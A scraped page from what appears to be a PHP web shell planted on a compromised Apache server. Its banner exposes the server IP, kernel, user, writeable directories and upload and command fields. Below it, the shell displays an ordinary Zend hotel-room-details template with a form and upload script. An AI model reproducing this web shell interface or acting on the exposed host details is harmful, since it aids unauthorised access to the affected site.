403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/application/views/scripts/accommodation/ajaxrequest/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend/application/views/scripts/accommodation/ajaxrequest/roomdetails.phtml
<?php 
$hotelRoomDetails = $this->hotelRoomDetails;
$arrRoomAmenities = Zend_Controller_Action_HelperBroker::getStaticHelper('Hotel')->getRoomAmenities();
$objHotel = new Travel_Model_TblHotel();
$aarrSelectedRoomAmenitiy = $objHotel->getRoomAmenitiesFromMask($hotelRoomDetails['AminitiesMask'],'comma');
//print_r($this->roomDetailsList);die;

?>
<style>
div.wrapper_ {
	float:right; /* important */
	position:relative;
	padding:2px 3px;
}
div.description {
	position:absolute;
	bottom:6px;
	left:30px;
	filter:alpha(opacity=60); /* IE transparency */
}
p.description_content {
	padding:10px;
	margin:0px;
	color:#BF0000;
	cursor:pointer;
}
#progress {
    position:relative;
    width:400px;
    border: 1px solid #ddd;
    padding: 1px;
    border-radius: 3px;
    margin-top:3px;
}
#bar {
    background-color: #B4F5B4;
    width:0%;
    height:20px;
    border-radius: 3px;
}
#percent {
    position:absolute;
    display:inline-block;
    top:3px;
    left:48%;
}
.hide {
    display:none;
}
</style>
<form name="" id="hotel_roomdetails" action="<?php echo $this->baseUrl('accommodation/addhotelroomdetails'); ?>" enctype="multipart/form-data" method="POST"> 
    <?php if(!empty($this->hotel_id)){ ?>
    <input type="hidden" name="update_hotel_id" value="<?=$this->hotel_id?>"> 
    <?php } ?>
    
    <?php if(!empty($this->RoomId)){ ?>
    <input type="hidden" name="update_room_id" value="<?=$this->RoomId?>"> 
    <?php } ?>
    <div class="tab-pane fade active in " id="tab1default">
    
        <div class="col-lg-12 ">
      <div class="row">
        <div class="col-md-3">
            <div class="form-group">
            <label>Type Of Room <span class="red">*</span></label>
           <select id="RoomType" name="RoomType" class="form-control" placeholder="Select" >
                <option value="">Select</option>
                <?php 
                if(!empty($this->getMasterRoomType) ) { 
                    foreach($this->getMasterRoomType as $roomtype) {?>
                    <option value="<?php echo $roomtype['RoomTypeId']; ?>" <?php if(trim($hotelRoomDetails['RoomTypeId'])==$roomtype['RoomTypeId']) { echo "selected"; } ?>><?php echo $roomtype['RoomType']; ?></option>
                <?php }
                }
                ?>
            </select>  
            </div>
        </div>
        <div class="col-md-3">
            <div class="form-group">
            <label>Total Room <span class="red">*</span></label>
            <input type="text" name="total_room" id="total_room" value="<?php echo !empty($hotelRoomDetails['Qty'])?trim($hotelRoomDetails['Qty']):''; ?>" class="form-control" maxlength="200"> 
            </div>
        </div>
        
        <div class="col-md-3">
            <div class="form-group">
            <label>Room Description <span class="red">*</span></label>
            <input type="text" name="room_des" id="room_des" value="<?php echo !empty($hotelRoomDetails['OtherDetails'])?trim($hotelRoomDetails['OtherDetails']):''; ?>" class="form-control" maxlength="200"> 
            </div>
        </div>
        <div class="col-md-3">
            <div class="form-group">
            <label>Room Images </label>
            <input type="file" name="imagebox[]" multiple="multiple" id="files" value="" class="form-control"> 
            </div>
        </div>
          
        <div class="col-md-12">
          <div class="form-group">
            <?php
            if(!empty($arrRoomAmenities) ) {    
                foreach($arrRoomAmenities as $amenities) { 
                    ?>
            <div class="col-md-3">
            <label class="checkbox" title="Content Active">
                <input class="icheck-green" id="room_amenities"  type="checkbox" name="room_amenities[]" value="<?php echo $amenities['AminityId']; ?>" <?php if(in_array($amenities['AminityId'], explode(',', $aarrSelectedRoomAmenitiy))) echo "checked"; ?>> <?php echo ucwords($amenities['Title']); ?>
            </label>
            </div>
                <?php
                    }
                }
                
                ?>
       
        </div>
        </div>
            
        </div>
            
      </div>
        
        </div>
    
    
    <div class="col-md-12 no-padding no-margin">
            <div class="panel-footer text-right">
                <div id="progress" class="hide">
                    <div id="bar"></div>
                    <div id="percent">0%</div >
                  </div>
                  <div id="message__yes"></div>
                <a href="<?php echo $this->baseUrl('accommodation/manage'); ?>" class="btn btn-default btn-sm">Cancel</a>
                <button type="submit" class="btn btn-warning saveaction" >Save</button>

            </div>
        </div>
    
         <div class="col-md-12 not-padding-mobile no-padding">
             <div class="ls-editable-table table-responsive ls-table"><!--id="ls-editable-table"-->
            <table class="table table-bordered table-striped table-bottomless" >
                <thead>
                    <tr  class="alert alert-success">
                    <th><strong>Room Type</strong></th>
                        <th><strong>Total Room</strong></th>
                        <th><strong>Room Description</strong></th>
                        <th><strong>Images</strong></th>
                        <th><strong>Action</strong></th>
                    </tr>
                </thead>

               <?php 
                if($this->roomDetailsList) { 
                    foreach($this->roomDetailsList as $values) {?>
                    <tr>
                        <td><?php echo $values['room']['RoomType']; ?></td>
                        <td><?php echo $values['room']['Qty']; ?></td>
                        <td><textarea cols="20"><?php echo $values['room']['OtherDetails']; ?></textarea></td>
                        <td> 
                            <?php if($values['img']){foreach($values['img'] as $key=>$img){ ?>
                            <div class='wrapper_  ' id="hide_<?=$img['ImgIndex']?>"> <img src='<?php echo $this->baseUrl(); ?>/public/upload/hotel/hoteId_<?php echo $img['AccomSysId'] ?>/thumb/room/room_<?=$img['ItemSysId']?>/<?php echo $img['Details'] ?>' class="lazy img_hover_<?=$img['ImgIndex']?>" id="<?=$img['ImgIndex']?>" width="50" height="30"/>
                              <div class='description'>
                                <p class='deleteroomImg description_content' id="<?=$img['ImgIndex']?>"><i title="Delete" class="fa fa-times"></i></p>
                              </div>
                            </div>
                            <?php } } ?>
                        </td>
                        <td><a class="btn btn-success btn-sm accommodation" href="javascript:void(0)" roomId="<?=$values['room']['ItemSysId']?>" data="<?=!empty($this->hotel_id)?$this->hotel_id:''?>" pages="roomdetails" title="update"><i class="fa fa-pencil"></i></a></td>
                    </tr>
                    
                    <?php
                    }
                }
                    ?>

                </tbody>
            </table>
        </div>
                                                
  
    </div>
                                                
                         
        <div class="clear"></div>
    </div>

</form>
<script src="<?php echo $this->baseUrl(); ?>/public/js/hotel/accommodation.js"></script>

<script>
(function() { 
    $('#hotel_roomdetails').ajaxForm({
        beforeSubmit: function() {
            
            if($('#hotel_roomdetails select[name="RoomType"]').val().trim() === ''){
                alert('Select room type');
                $('#hotel_roomdetails select[name="RoomType"]').focus();return false;
            }
            if($('#hotel_roomdetails input[name="total_room"]').val().trim() === ''){
                alert('Enter total room');
                $('#hotel_roomdetails input[name="total_room"]').focus();return false;
            }
            if($('#hotel_roomdetails input[name="room_des"]').val().trim() === ''){
                alert('Enter room description');
                $('#hotel_roomdetails input[name="room_des"]').focus();return false;
            }
            var selectedAmenities = '';
            $('input[id="room_amenities"]:checked').each( function() {
                selectedAmenities += this.value + ',';
            });
            selectedAmenities = trimComma(selectedAmenities);
            if(selectedAmenities === ''){
                alert('Please check at least one facility');return false;
            }
        
        var z1 = document.getElementById("files");
        //if(z1.files.length == ''){alert('Please choose hotel image');return false;}
        for(i=0; i < z1.files.length; i++) {
            var file = z1.files[i];
            //var fileNameOnly = file.name.split('.');
            /*if (/^[a-zA-Z0-9- ]*$/.test(fileNameOnly[0]) == false) {
                    alert('Your file name contains illegal characters!. Please rename your file name.');return false;
            }*/
            var image_bank = file.name.split('.').pop().toLowerCase();
            if($.inArray(image_bank, ['jpg','jpeg','png','gif']) === -1 && image_bank != '') {
                alert('Invalid Image file format! Only formats are allowed : .jpg, .jpeg, .png, .gif');
                return false;
            }
        }	

            $('#progress').removeClass('hide');
            $('.disab').hide('slow');
        },
        beforeSend: function() { 
            $("#progress").show();
            //clear everything
            $("#bar").width('0%');
            $("#message").html("");
            $("#percent").html("0%");
        },
        uploadProgress: function(event, position, total, percentComplete) {
            $("#bar").width(percentComplete+'%');
            $("#percent").html(percentComplete+'%');

        },
        success: function() {
            $("#message__yes").html('Finishing...');
            $("#bar").width('100%');
            $("#percent").html('100%');
        },
        complete: function(xhr) {
            result = xhr.responseText;
            
            //$("#pageload").load();
            var obj = $.parseJSON(xhr.responseText);
            //alert(obj['success']);
            if(obj['success'] === true){
                    $("#message__yes").html("<font color='green'>Save successfully</font>");
                    $('a[page="roomdetails"]').trigger('click');
            }else{ 
                    $("#message__yes").html(obj['message']);	
            }
            //status.html(xhr.responseText);
        },
        error: function(){
            $("#message__yes").html("<font color='red'> ERROR: unable to upload files</font>");

        }
        });
})();
</script>


Youez - 2016 - github.com/yon3zu
LinuXploit